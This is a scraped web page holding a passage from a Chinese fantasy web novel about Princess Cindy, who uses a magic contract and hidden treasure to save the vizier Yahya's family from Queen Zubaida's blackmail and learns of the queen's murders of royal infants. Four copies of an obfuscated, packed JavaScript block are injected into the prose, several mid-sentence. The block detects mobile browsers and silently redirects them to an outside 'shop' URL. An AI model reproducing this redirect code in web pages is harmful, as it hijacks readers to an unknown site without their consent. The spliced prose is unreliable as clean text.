清醒过来的马蒙毫无悔过之意，让人处理了尸体后照常吃喝。 那天晚上塔斯妮姆再次做了那个关于红宝石匕首的噩梦，这次那个梦更加清晰了，她看见马蒙站在她的面前，脸上的笑容疯狂无比。 自那以后塔斯妮姆几乎不敢跟马蒙独处，也不敢直视他的眼睛，她打心眼里害怕这个男人。 马蒙的残暴被祖拜达王后瞒得很好，可是天下没有不透风的墙，塔斯妮姆确信不用她说，她的父母也知道这件事。 可是始终没有人提过婚约取消，塔斯妮姆尝试着试探她的母亲，得到的回复是“你会是他的王后，他不敢对你怎么样的。” 塔斯妮姆只好拼命展现出自己在治理家族方面的才能，寄希望于父母看到她的价值，继而取消婚约，可是随着祖拜达王后的召见，她明白自己的努力毫无用处。 “我不知道我现在应该怎么办，我宁愿死也不想嫁给那个恶魔！我有预感，嫁给他我会生不如死······” 塔斯妮姆的母亲说得没错，马蒙不会对塔斯妮姆下手，可是恐怕单单是呆在他身边的心理压力就能压垮塔斯妮姆。 “傻姑娘，不要说这样的丧气话，活着才有希望不是吗？” 辛蒂的眼神温和有力，瞬间给了塔斯妮姆希望，她的眼睛一亮：“辛蒂亚，你有办法是不是？” “叶海亚宰相不是热衷于权势的人，他答应和塞尔柱联姻很有可能是被他们抓到了什么把柄。我认为你的当务之急是要先找到这个关键点。” “另外，我想哈里发不会乐见这桩婚事的，或许他可以帮助你。” 辛蒂的话为塔斯妮姆的脑子里带去一丝清明，她被这件事困扰许久，竟从未想过她的父亲或许是不得不让她联姻的。 可是她又转念一想，即使弄清楚原因又有什么用呢，她父亲都解决不了的事难道她就有办法吗？ 塔斯妮姆的沮丧被辛蒂看在眼里，辛蒂为她加油鼓劲道：“就算是死也要死个明白嘛，说不定我们真的能想出办法来呢？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844055|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于塞尔柱有巴尔克马的把柄这件事，辛蒂有八成的把握。 宰相叶海亚深受哈里发拉希德的宠爱，巴尔克马的地位很稳固，将女儿嫁给马蒙并不是什么好事，反而会引发哈里发的猜忌。 什么样的把柄才会让一人之下，万人之上的叶海亚忍气吞声，捏着鼻子也只能将爱女嫁给一个暴力狂呢？ 这件事阿布老师竟然知道！ 在阿布老师询问为何宰相之女匆匆来到铜宫之后，辛蒂斟酌片刻说出了实情，在那双洞悉一切的眼睛里，她很难说出什么谎话。 阿布老师从鼻孔里发出一声冷哼：“祖拜达这个女人真是越来越无法无天了。你的猜测没错，叶海亚那小子是在给他爹擦屁股呢。” 辛蒂汗颜，有时候阿布老师实在是不像一个智者，言语上百无禁忌，让她常常不知道应该如何接话。 阿布老师没有让辛蒂为难，转而说起了关于这个“把柄”的事：“叶海亚的老爹维齐尔在世的时候，挪用了瓦克夫投资了一支远洋商队，商队被大海吞噬了，这笔钱血本无归。” “看来塞尔柱掌握了这件事的实质证据，一旦拿出来，哈里发都保不住叶海亚。” 他说得简单，听的人却倒吸一口冷气。 挪用瓦克夫是什么概念？瓦克夫是宗教捐赠基金的意思，这笔钱一般会用于建设寺庙、宗教学校等公共设施。上一个挪用瓦克夫的官员全族都被钉到了十字架上，以接受天主的审判。 即使如此，他们的尸首被埋进坟墓后还有民众挖出来鞭尸，可见这样的行为是多么天怒人怨。 这位维齐尔竟然敢做出这样的事，想必也做好了脑袋拴在裤腰上的准备了，现在辛蒂觉得阿布老师说的“叶海亚擦屁股”的描述真是一点没错。 “可是那么多钱，维齐尔怎么抹平的账目呢？”既然没有被发现，账上的数据肯定是看不出问题的。 “这就罪过更大了，”阿布老师摇摇头，脸上出现了几分悲悯：“维齐尔强抢了许多农民的土地，假称是他购买的，可怜了那些无处伸冤的平民。” “当时的哈里发昏聩，维齐尔势大，做了许多错事，现在都要他的子孙来偿还呐。” 辛蒂听出了阿布老师话里的任其发展的意思，不过塔斯妮姆是她在这里交到的第一个朋友，她不能对她置之不理。 更重要的是，马蒙继承人地位的稳固对她来说没有好处。要是马蒙真的得到了三家的支持，那她还玩什么？准备准备嫁给大流士王子算了。 左思右想之下，辛蒂发现最好的办法就是叶海亚去找哈里发拉希德说出实情，她相信哈里发不会愿意舍弃自己的得力干将。 可是这样一来塞尔柱未必会善罢甘休，他们要是坚持把事情闹大，巴尔克马必然会名誉扫地，最好的情况也不过是能保住全族的命。 除非，巴尔克马家能拿出很多钱。多到可以补上维齐尔曾经挪用过的资金，可以补偿那些失去土地的农民。 多到所有人都不会再追究曾经的错误，反而会赞扬巴尔克马家高风亮节，知错就改。 46.魔法契约 第二天，塔斯妮姆再次来到了铜宫，她从她的父亲那里知道了联姻的缘由。 宰相叶海亚在听到女儿的想法后，赫然发现塔斯妮姆已经是个担得起事的大姑娘了，很多事确实应该让她知道。 遂将这段前朝往事告诉了塔斯妮姆。 知道真相的塔斯妮姆心灰意冷，说不出她不愿意联姻的话来。她不妥协的话，可以预见的巴尔克马家就会走向破灭。 她的兄长们人生刚刚开始，她的侄子侄女还没能出生在这个世界上，难道她要眼睁睁地看着他们去死吗？ 只是牺牲她一个，就能保全她的家人，这是很划算的买卖。 塔斯妮姆再也生不起反抗的想法，她这次来铜宫，只是想告诉辛蒂亚公主，让她不要再操心这件事了，这不是她能插手的。 要是说之前她还存着几分辛蒂亚公主这么受宠，或许可以帮她向哈里发求情的想法，她现在已经完全放弃了，哈里发帮不了巴尔克马，辛蒂亚更帮不了她。 辛蒂反手握住塔斯妮姆的手，定定地看着她的眼睛：“妮姆，你相信我吗？” 塔斯妮姆呆呆地点点头，这和她设想的二人抱头痛哭的场景不太一样。 “我有办法帮助巴尔克马度过这次的难关，我需要你先安排我和宰相叶海亚先见一面。” 或许是因为辛蒂亚公主的语气太过于笃定，又或许那双眼睛里的坚定让人无法质疑，塔斯妮姆犹豫再三，还是将辛蒂亚公主的话转告给了她的父亲。 叶海亚的第一反应是皱起了眉头，责怪地看着女儿：“妮姆，这件事你不应该告诉辛蒂亚公主，她或许会向哈里发拉希德告密。” 塔斯妮姆一愣，她忽然反应了过来，事关家族的生死，她当然没有把自家的事向辛蒂亚全盘托出。 大悲大喜之下，她完全忽略了为什么辛蒂亚会对这一切了然于胸的样子。 塔斯妮姆的解释让叶海亚的态度变得慎重，他对于辛蒂亚公主唯一的印象就是在哈伊尔宫殿中她柔弱顺从的样子。 现在看来，辛蒂亚公主不简单，可他还是难以相信，一位十多年没出过门的公主，面对这样棘手的局面能有什么办法？ 尽管内心充满狐疑，叶海亚多年来最大的优点就是善于听取外界的声音。他不会因为辛蒂亚公主的表象就对她全盘否定，万一她真的有什么神异之处呢？ 辛蒂亚公主和宰相叶海亚的会面在一处城中赫赫有名的“枣木炉香馆”，这里的招牌菜是由枣木生火烤制而成的烤鱼。 这可不是一般的烤鱼，在长达两个小时的烤制中，精选的淡水鲤鱼充分吸收了枣木独特的清甜香气，外焦里嫩，口感十分丰富。 辛蒂没有急着和叶海亚谈论正事，而是先让自己的肠胃得到满足，不愧是她记下来的必吃菜，味道好极了！ 叶海亚也没有急着询问，而是很有风度地为辛蒂推荐这家餐馆中的其他菜肴，又介绍了餐馆的历史，听得辛蒂不由得连连点头。 美食在前，美人作伴，虽然是个美大叔，这顿饭辛蒂吃得满足极了。 叶海亚却已经产生了淡淡的失望，眼前的小姑娘分明和自家女儿没什么区别，他竟然信了她有办法，真是昏了头了。 正当叶海亚正在思忖着是不是找个借口提前离开，眼前刚刚还在享受美食的辛蒂亚公主吃饱喝足，动作优雅地使用绸布擦干净嘴唇上的油渍后换了一副表情，正色道： “叶海亚卿，巴尔克马家的困境我有所耳闻。我认为，眼下最好的办法就是补上挪用的资金以及补偿那些被夺走土地的平民。” 叶海亚心中一惊，他现在才真正相信塔斯妮姆没有泄密给辛蒂亚公主，毕竟他可没有告诉塔斯妮姆这么详细的情况，辛蒂亚公主一定有一个不为人知的消息渠道。 宰相叶海亚发出一声苦笑，这个办法他当然知道：“既然您知道巴尔克马挪用了瓦克夫，那您肯定知道那是一笔多么巨大的资金，即使把巴尔克马卖了也不够补上的。” 叶海亚不像其父那样贪婪，称得上廉洁，所以巴尔克马看上去权势赫赫，实际上是三家里最穷的，叶海亚的话并不假。 辛蒂喝了一口椰枣茶，待到品尝完舌尖上的苦涩和甜蜜并存的滋味后才开口道：“我能替巴尔克马拿出这笔资金，条件是我要获得你的支持。” 支持？叶海亚细细打量着眼前美丽的少女，她的身量还没长成，婴儿肥的脸蛋上稚气未消，那双眼睛里的神色却分明已经是一个久经风霜的成年人了。 不像塔斯妮姆，她总以为自己的情绪藏得很好，实际上那双眼睛能泄露出她内心的一切想法。 辛蒂亚公主的眼睛里只有望不到底的深邃，叶海亚完全看不出她的喜怒。 叶海亚自认来这里以前，他已经做好了心理准备。虽然不知道辛蒂亚公主是不是真的有办法，有什么办法，他已经准备好了自己的筹码。 一个公主能要什么，想要什么？美满的婚姻，攻击和自己有龃龉的姐妹，还是得到父君无上的宠爱？ 他什么都想到了，独独没有想到辛蒂亚公主想要的是他的支持。 她说得含糊，叶海亚却能轻易捕捉到她的话语里潜藏的野心，巴尔克马的支持只是第一步，接下来是哈拉姆和塞尔柱，最后是阿拉比亚王国。 叶海亚甚至都没有怀疑辛蒂亚公主是否能拿出来她说的那笔资金，看着那双黑色的眼睛，他很难说出什么质疑的话来。 宰相叶海亚沉默许久后才道：“这样的条件太模糊了，我不知道您希望得到什么程度的支持。要是您让我做出违背良心和天主的事，这又和祖拜达王后有什么区别呢？” 叶海亚这么说算是已经答应了一半，辛蒂展颜一笑，看起来又是刚刚那个因为美食而开怀的小女孩了，她说出来的话在叶海亚听来也很幼稚： “不必担心，我准备了契约。” 叶海亚几乎想笑，契约有什么用？难道他要是拿了钱以后不履行承诺，辛蒂亚公主还能拿着一张纸找她的父亲主持公道不成？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848301|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且不说这件事不应该叫哈里发知道，叶海亚有一千种方式搞些小动作使协议无效。 辛蒂却并未拿出一纸文书，而是一份羊皮卷轴。 这个时代已经有了成熟的纸张，在那之前平民用莎草纸，贵族记录重要事件就用贵重的羊皮或者牛皮。 牛羊皮不如纸张便携，即使是最老派的贵族也已经开始使用洁白的纸张，辛蒂的羊皮卷轴显得略有些突兀。 未等叶海亚发问，辛蒂坦然解释道：“这是一份魔法契约，我已经用芦苇笔写上了基础条款，您若有异议可以增删相关内容。” “需要提示您的是，违背契约的代价是您的生命。” 叶海亚的脸上惊讶之色难掩，以他博学的程度，自然听说过魔法契约，可他从未见过实物。 即使当代最强大的巫师也无法制作出一份魔法契约了，因为相关的制作方式自从穆塔之战之后已经失传。 叶海亚之前内心的嘲弄伴随着对辛蒂亚公主的轻视已经消失得无影无踪，他很有分寸的没有询问魔法契约的来源或者制作方式，只是小心翼翼地接过魔法契约，仔细端详其上的文字。 “······我没有异议。”片刻后，叶海亚正中开口道。 魔法契约上的内容算得上公允，约定了辛蒂亚公主为巴尔克马提供资金以弥补挪用的瓦克夫以及补偿那些被夺走土地的平民。 而叶海亚乃至巴尔克马需要支持辛蒂亚公主继承王位。 这是叶海亚完全能接受的条件，毕竟他都做好准备辅佐一个暴虐的哈里发了，还有什么是不能接受的呢？ 至于男女差异，叶海亚不是一个食古不化的人，更何况历史上有许多有作为的女性君主，辛蒂亚公主不一定多么励精图治，最起码比马蒙要好。 最坏的情况不过是他叶海亚违背契约而死，不会连累全族，比全族的性命都捏在祖拜达王后手里强太多了。 想明白了的叶海亚在羊皮卷轴上签下了自己的名字，在最后一个字母落成后，羊皮卷轴忽地自燃，化成了一堆灰烬，这是契约生效的标志。 与此同时，辛蒂和叶海亚二人都感受到了一层灵魂上的束缚，辛蒂知道只要自己完成了许诺，这层束缚就会消失。 而对于叶海亚，这样的束缚恐怕会一直存在于他的余生之中。 这让叶海亚觉得很踏实，他的女儿不必再嫁给暴虐的马蒙，巴尔克马不必再受祖拜达王后的钳制，没有什么比这更让他开心的了。 辛蒂也松了一口气，和叶海亚这样的重臣打交道甚至交易，她不得不提着一口气，远没有表面上看上去那么轻松写意。 不过事情能这么顺利还要多亏了她的《神秘学发展》。 她前不久偶然间才发现，上一个世界她得到的《神秘学起源》似乎钻进了她的脑子里，跟着她一起来到了这个世界，而且书页还变厚了，书名也变成了《神秘学发展》。 里面提到了许多更高级，更有实用价值的魔法。 47.谶语 《神秘学发展》中就包括魔法契约的制作方法。 这几乎是辛蒂见过的最复杂的魔法物品制作方法，不说作为载体的羊皮需要经过特殊药水的浸泡。 就连书写的墨水都需要精心调配，原材料包括但不限于狮虎兽的绒毛、新生儿的脐带、胭脂虫等等。 有的比如狮虎兽，辛蒂一开始遍寻不到，还以为在阿拉比亚王国没有这种生物，直到请教了阿布老师才知道这其实就是狮子和老虎的杂交品种。 狮虎兽是很久以前的称呼了，现在的名字是杂兽。 总之收集材料的过程略显艰难，好在最后成功得到了成品。 魔法契约在这场交易中是必要的，要是没有契约的背书和制约，在没有其他有效手段的制约下，辛蒂很难真的相信巴尔克马的效忠。 同样的要是没有契约，叶海亚未必会真的相信辛蒂亚公主能拿出这么多钱。 找到为巴尔克马家填窟窿的财富也离不开魔法的帮助，辛蒂亚公主自己当然没有那么多钱，这是哈里发都拿不出的金额，她的底气来源于原故事中树洞中的财富。 通过之前在衣服上找到的大狗的毛发，简单的魔法仪式之后辛蒂就得到了大狗的所在的地点，也就是它看守的财富的位置。 完成契约后，辛蒂将树洞财富所在的位置以及最重要的能够克制大狗的蓝格子围裙都交给叶海亚，让他多带些人去取金币。 叶海亚没想到辛蒂亚公主的许诺的财富竟然是这个，他瞬间联想到了士兵哈立德出手的纯度极高的金币还有辛蒂亚公主梦境中的大狗。 他想起来之前辛蒂亚公主在哈里发拉希德面前的讲述，那些话是真的吗？就算是真的，辛蒂亚公主必定也隐瞒了不少事。 甚至就连那个士兵也是辛蒂亚公主设计杀死的，那个逻辑最为顺畅，但是几乎所有人都觉得不可能的猜测。 他忍不住追问道：“您提到的大狗是之前将您掳走的那只吗？您怎么会知道克制的办法？” 既然已经透露出了树洞中的财富，辛蒂不介意告诉叶海亚更多的信息。 她告诉叶海亚，守护财富的大狗确实就是士兵哈立德用打火匣召唤出来的大狗，围裙也是从士兵那里得到的。 打火匣能召唤的大狗实际上有三只，一只比一只可怕。不过只要叶海亚按照她说的将大狗放在围裙上，大狗就不会对任何人造成威胁。 叶海亚又提出了另外一个问题：“那持有着打火匣的阿赫勒教团知道树洞的财富吗？” “不，我确定他们不知道，不过未来就说不一定了，所以你要尽早将那些金币、银币和铜币转移出来，以免发生波折。” 占卜的结果确实显示阿赫勒教团还不清楚大狗守护着的财富，或许他们根本就没有怎么使用打火匣，毕竟是圣物，怎么会被人轻易使用呢。 叶海亚再次因为辛蒂亚公主对于阿赫勒教团的熟悉惊讶，这可是相当隐秘的事情。 当然他不知道这完全得益于公主有一位好老师，而非她本身有什么出色的情报网络，目前叶海亚理所当然的认为是后者。 将树洞中的财富丢了出去，辛蒂觉得一阵轻松又一阵肉痛，轻松是因为不必再思考自己应该怎么转移这样一笔巨大的财富。 肉痛则是由于失去了那么多的钱，好在换来了巴尔克马的忠诚，虽然契约是和叶海亚签订的，作为家主，叶海亚的意志完全可以视作是巴尔克马的意志。 在叶海亚拿到钱，着手准备解决家族隐患的时间里，哈里发拉希德的后宫中的美人玛丽达为他产下了第十个女儿。 说来这事有些奇怪，哈里发拉希德都有十个健康的女儿了，却只有一个儿子活下来，这让人不得不怀疑是不是其中有什么猫腻。 玛丽达的女儿得到了哈里发的欢心，他的年纪不小了，却还能有孩子出生，这就是他年富力强的最好证明。 喜悦之余，哈里发拉希德决定为自己第十个女儿的出生举行盛大的庆典，还邀请了仙女来为新生儿祈福。 在哈里发的女儿中，只有法蒂玛因为是王后所出和辛蒂亚的母亲受到宠爱而得到过祈福，玛丽达的女儿运气不错，也得到了这样的殊荣。 辛蒂并无自己受到的宠爱要被分薄的危机感，仙女的出席更让她感兴趣。 十公主出生庆典当天，黑皮肤的阿西玛凑到辛蒂的身边，她在辛蒂的监督下饮食健康了许多，不像之前那么病歪歪的。 这并不全是辛蒂的功劳，原本阿西玛还想着阳奉阴违，在她看不见的地方偷偷节食。 直到有一天阿西玛和辛蒂一起在花园嬉戏，偶遇了哈里发拉希德，哈里发在欣慰于辛蒂亚表现出的健康后，顺嘴夸了一句阿西玛现在比之前好多了。 这是阿西玛第一次得到父亲的夸赞，从此以后彻底放弃了学习其他公主的柔弱风格，每天都乖乖吃饭。 此时阿西玛的表情也比以前灵动了许多，她悄悄告诉辛蒂：“辛蒂亚姐姐，你知道吗？其实我们本来还有一个弟弟的。” “什么弟弟？”辛蒂不解。 “就是玛丽达的儿子呀！不过他出生就被溺死了，就像之前还有个弟弟一样。”阿西玛的声音更小了，生怕被别人听到。 “我看到的，他刚出生就被玛丽达的女奴扔进了水盆里，他本来哭得很响的，后来就没了声音。” 阿西玛的说辞漏洞百出，她居住的宫殿和玛丽达的离得很远，而且玛丽达生产的时候是深夜，阿西玛不可能看到。 不过辛蒂没有戳穿阿西玛的话，而是反问道：“你是不是还有什么事要跟我说？” 阿西玛活得很谨慎，不会无缘无故地说这样很可能引火上身的话，这件事一定和辛蒂有什么关系。 阿西玛点点头：“辛蒂亚姐姐，我还知道是王后指使人把弟弟淹死的。阿伊莎肚子里也有小宝宝，你们要小心一点。” 阿西玛说的或许是真的，辛蒂注意到了玛丽达的表情，她抱着小婴儿，被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856362|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人簇拥着，脸上却没有多少喜意，眼底蕴含着一团浓得化不开的悲伤。 还有什么事能让一位怀抱着孩子的母亲如此悲伤呢？ 无暇思考阿西玛是怎么知道这些事的，辛蒂只觉得豁然开朗，怪不得哈里发只有马蒙一个儿子。 祖拜达王后为了稳固儿子的地位，哈里发的其他儿子一出生就被她想方设法杀死，这在逻辑上完全说得通。 辛蒂来不及求证阿伊莎怀孕的消息，忽然一阵喧闹，仙女出现了。 就像故事中那样，仙女毫无预兆的现身于人前。 仙女的美丽无需多言，她的肌肤几乎透明，穿着花瓣和绿叶制成的衣裙，脸上的微笑神秘而柔和，给人以安宁的感觉。 她出现在小婴儿的身边，纤长白皙的手指轻抚着婴儿娇嫩的面孔，语音慈和而庄重：“愿安拉给予你健康、美貌以及财富。” 她的话音刚落，所有人都看见纯净的光芒从仙女的指尖出现，像羽毛一样飘忽着涌入婴孩的体内。 小婴儿似乎感受到了什么，露出了一个无垢的笑容，咯咯笑出了声音。 辛蒂不知道那是什么法术，不过她能感受到其中光明温暖的能量，最起码可以护佑着婴孩数月不被疾病侵扰，足以确保她不会轻易夭折。 在完成祈福后，仙女“飘”到了辛蒂的面前，她细细地打量了辛蒂一阵，看得辛蒂几乎都有些不自在了。 仙女的声音在辛蒂的耳边响起：“我在你的身上看到了王国的未来，不过这是一条艰辛的道路，你要做好准备，辛蒂亚公主。” 随后仙女消失了，就像在阳光下蒸发掉的肥皂泡，一点痕迹都没有留下。 “你听到仙女跟我说话了吗？”辛蒂问阿西玛。 阿西玛摇摇头，辛蒂若有所思，一句神秘的谶语。不过这对她眼下的生活没有丝毫用处和影响，辛蒂很快就把这句话抛之脑后。 庆典结束后，辛蒂拉吩咐奴女哈迪贾，让她请阿伊莎来铜宫坐坐。 自从铜宫的禁令解除之后，铜宫中就很少再出现阿伊莎的身影。她的生活丰富多彩，以至于很难分出时间给这个在她看来已经长大了的女儿。 再加上辛蒂对于她挑选的那些青年才俊一点兴趣都没有，也不愿意听她的话学□□课程，哈里发还发话让她不必操心辛蒂的婚事。 阿伊莎不知道这是因为哈里发选中了大流士王子，索性完全撒手不管了。 总之，这段时间母女两个爆发了几场小小的争吵。阿伊莎从未觉得辛蒂亚公主这么有主见过，甚至觉得是塔斯妮姆带坏了公主。 更气人的是，阿伊莎拿辛蒂亚公主一点办法都没有，后者总是有一堆道理等着她。 好在她从不为难自己，选择了专注于自己的生活。 阿伊莎今天正好有空，她扭着腰肢从马车上下来，朝迎接她的辛蒂露出一个甜蜜的笑容，毫无芥蒂地给了辛蒂一个大大的拥抱道：“我的公主，最近在忙些什么呢？” 48.王后 在打开的灵视中，辛蒂轻易就看见了阿伊莎腹中的那团混沌的灵体，一个新生命。 阿西玛的消息是真的，而她作为阿伊莎的女儿却对这件事毫无所觉，阿西玛又是怎么知道的？ 辛蒂从她柔软的前胸里挣脱，呼吸了好几口新鲜空气才缓解了涨红的脸色。她请阿伊莎到室内坐下后，铺垫许久才问道：“阿伊莎，我想知道你和祖拜达王后之间的恩怨。” “我已经长大了，是时候听一听这些故事了。” 阿伊莎花朵盛开一样的笑脸忽地凋零，她的脸上出现了种种情绪，仇恨、悲伤、怀念、痛苦······ “我的公主，其实你应该有个弟弟的······” 辛蒂亚公主已经死去的弟弟的名字叫艾利，在阿伊莎口中，那是个绝顶聪明的小男孩。 三岁的时候艾利就能将经书倒背如流，老师们无一不称赞王子的聪慧，哈里发拉希德也很疼爱这个儿子。 而正是艾利表现出来的聪慧惹了祖拜达王后的眼，马蒙资质平庸而性格残暴，她费尽心思才为马蒙宣扬出了仁善的好名声，在王国中有了一定的声望。 艾利什么都不用做，全世界的人都知道他的聪慧堪比安拉转世，许多人都只知艾利而不知马蒙。 辛蒂适时表现出她的惊讶：“我怎么不知道艾利的存在？” 阿伊莎解释道，即使她告诉辛蒂亚公主这件事，姐弟俩个也无法相见，她索性都不说，以免增加不必要的烦恼。 好景不长，祖拜达王后愈发嫉恨艾利影响了马蒙的地位，她决心要除掉艾利。 彼时的阿伊莎还很信任祖拜达王后，认为不管艾利再怎么聪慧，也动摇不了马蒙继承人的地位，所以她并不对王后设防。 阿伊莎没有想到，艾利在穿了王后送来的衣物后，白天还活蹦乱跳的，晚上就在睡梦中停止了呼吸。 可怜的，就像早晨的露水一样鲜活的小生命，就像露水一样蒸发了。 那件衣物没有被查出任何不对劲的地方，可是曾经是王后侍女的阿伊莎知道，这就是王后动的手脚，她有一种能挥发的剧毒，时间过去这么久了，当然什么都查不出来。 最后艾利的死也没有找到任何责任人，被定性为了一种突发的未知的疾病。 塞尔柱家族十分强势，祖拜达王后受到家族的庇护，阿伊莎知道即使自己找到证据指认祖拜达王后，也不会有什么结果。 哈里发拉希德不会也不能因此对她做出什么实质性的惩罚，阿伊莎只能将恨意埋在了心底。 若非还有辛蒂亚公主，她或许会在恨意的驱使下尝试刺杀王后，和她同归于尽。 因为阿西玛的话，辛蒂对于这件事有所猜测。却没想到祖拜达王后是如此的狠毒，只是因为艾利聪慧就下了毒手。 可是祖拜达王后为什么要谋杀一个刚出世的小婴儿呢？玛丽达的儿子可还没能给马蒙造成什么威胁。 更何况二者的年龄差距这么大，等玛丽达的儿子长成后说不定马蒙已经顺利继承了王位，祖拜达王后的行为实在是没必要，反而增加了隐患。 辛蒂实在是搞不懂祖拜达王后怎么想的，不过可以肯定的是，她或者马蒙身上绝对有着不可告人的地方待人挖掘。 通过叶海亚，辛蒂得到了很多关于马蒙的资料，这里面有公开的也有十分隐秘的，看得辛蒂连连乍舌，怪不得叶海亚和塔斯妮姆都很抗拒马蒙。 马蒙的残暴跟塔斯妮姆向她描述的差不多，辛蒂原本以为他或许像上个世界的亨利王子那样，因为各种外界的原因而变态。 事实上他的生活从没有什么不圆满的地方，这样的性格完全是天生的结果。 从小时候的虐杀动物到现在喜欢折磨奴仆，马蒙的宫殿中常常都会出现新面孔，辛蒂很难想象他的手下到底有多少人命。 除此以外，马蒙还很爱享受。他在自己的宫殿中设置了眼、耳、口、鼻四个区域来满足他的欲望。 “眼”里有数个来自各个国家的美人，不着寸缕地在里面唱歌跳舞，随时等待马蒙的临幸。 “耳”里豢养着一支最为高级的乐者的队伍，昼夜不停地演奏着各种乐曲，确保一进去就能听到美妙的乐声。 “口”里有一张大长桌，桌上时时刻刻都摆满了美味佳肴，冷掉后立马会有奴仆换上新的菜品，任何时候品尝，每个菜的味道和温度都是最合适的。 “鼻”里则放满了昂贵的香料，据说只要在里面走上一遭，就能瘫软在如仙境一样的香味里。 可是不管是残暴还是奢侈享乐，都算不上什么要命的缺点，比马蒙出格的贵族多了去了。甚至在祖拜达王后的运作下，王国中不会出现任何说马蒙不好的声音。 难道祖拜达王后仅仅是出于谨慎就除掉了玛丽达的儿子？ 辛蒂只能让叶海亚派人密切关注马蒙和祖拜达王后的一举一动，或许未来能有点什么别的发现。 哈里发拉希德迎来第十个公主的喜悦没能持续多久，一起瓦克夫挪用案震惊全国。 不仅仅涉案金额巨大，更牵涉到了王国的宰相叶海亚的家族，最具戏剧效果的是叶海亚竟然为父认罪，表示会弥补王国的一切损失。 叶海亚的认罪书让哈里发拉希德又是震惊又是迷惑，他当然知道维齐尔做过的那些事，但是他并未想过追究。 已经是前朝的事了，叶海亚很好用，巴尔克马家族也没有什么出格的地方，上一辈的错误没必要旧事重提。 叶海亚自己把这事抖落了出来，甚至对掠夺平民土地这种破事也进行了忏悔，为什么？ 面对外界的疑惑，叶海亚的说辞是自己在梦中得到了先祖的启示，维齐尔犯下的罪孽让他们深感不安，于是托梦给他一处宝藏的位置，用以弥补王国的损失和那些无辜的平民。 在哈里发面前，叶海亚则隐去了辛蒂亚公主在其中的作用，将祖拜达王后是如何威胁他的全盘托出。表示不愿意背着君主和塞尔柱私相授受，只好出此下策。 “该死的蠢妇，我迟早有一天要废了她！”祖拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864600|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达王后的行为让哈里发拉希德十分愤怒。 尽管如此，君臣二人心中都十分清楚，只要塞尔柱的阿卜杜拉还能跨上马背，祖拜达的地位就万无一失。 拉希德不过是口头上泄愤，实际上并不能把祖拜达王后如何。 哈里发拉希德感到一丝庆幸，要是巴尔克马和塞尔柱真的在他的眼皮子底下达成了联姻，他可真就处于被动地位了。 最近太松懈了，以至于人们已经忘记了到底谁才是王国的主人。他决定要敲打敲打塞尔柱，乃至他的继承人马蒙。 就如辛蒂和叶海亚预料中的，花钱消灾的巴尔克马在爆出隐患后得以全身而退。 叶海亚实在是给的太多了，即使是之前受害的平民在得到远超被掠夺土地的价值的赔偿后，说不出抱怨的话。 作恶的是叶海亚的父亲，叶海亚当然是无辜的，民间说起叶海亚乃至巴尔克马家族尽是溢美之词。 朝堂上的叶海亚不仅没有受到惩罚，反而得到了哈里发拉希德的奖赏，哈里发还利用这件事好好敲打了一遍自己的臣子。 还有人认为这是一出哈里发和叶海亚串通好演出的戏码，许多心虚之人紧随叶海亚的步伐，纷纷呈上认罪书，一时间风气为之一清。 巴尔克马解决了自家的隐患，阿赫勒教团后知后觉地意识到他们蒙受了巨大的损失。 在叶海亚转移完树洞中的财富后不久，阿赫勒教团的成员在查阅关于魔法火匣的典籍后，才发现他们竟然守着宝山却一无所知！ 即使是阿赫勒这样的大教团也是十分缺钱的，可是当他们怀着喜悦召唤大狗来到树洞，看到的只有三个空空如也的房间。 只有其中一个房间角落中还有一枚铜币，显示出曾经存在过的财富。 不再赘述阿赫勒教团的人是如何暴怒，可惜他们永远也不会知道究竟是谁提前拿走了这些钱币，更不会知道大狗们为什么对此熟视无睹。 叶海亚的动作同样也打了祖拜达王后一个猝不及防，在她看来巴尔克马已经是囊中之物，她甚至已经在准备马蒙和塔斯妮姆的婚礼了！ 巴尔克马是个不错的联姻对象，塔斯妮姆是她从小看到大的，很好掌控，她盼望着马蒙能在有了自己的孩子以后成熟一点。 可惜这一切变成了水中的泡影。 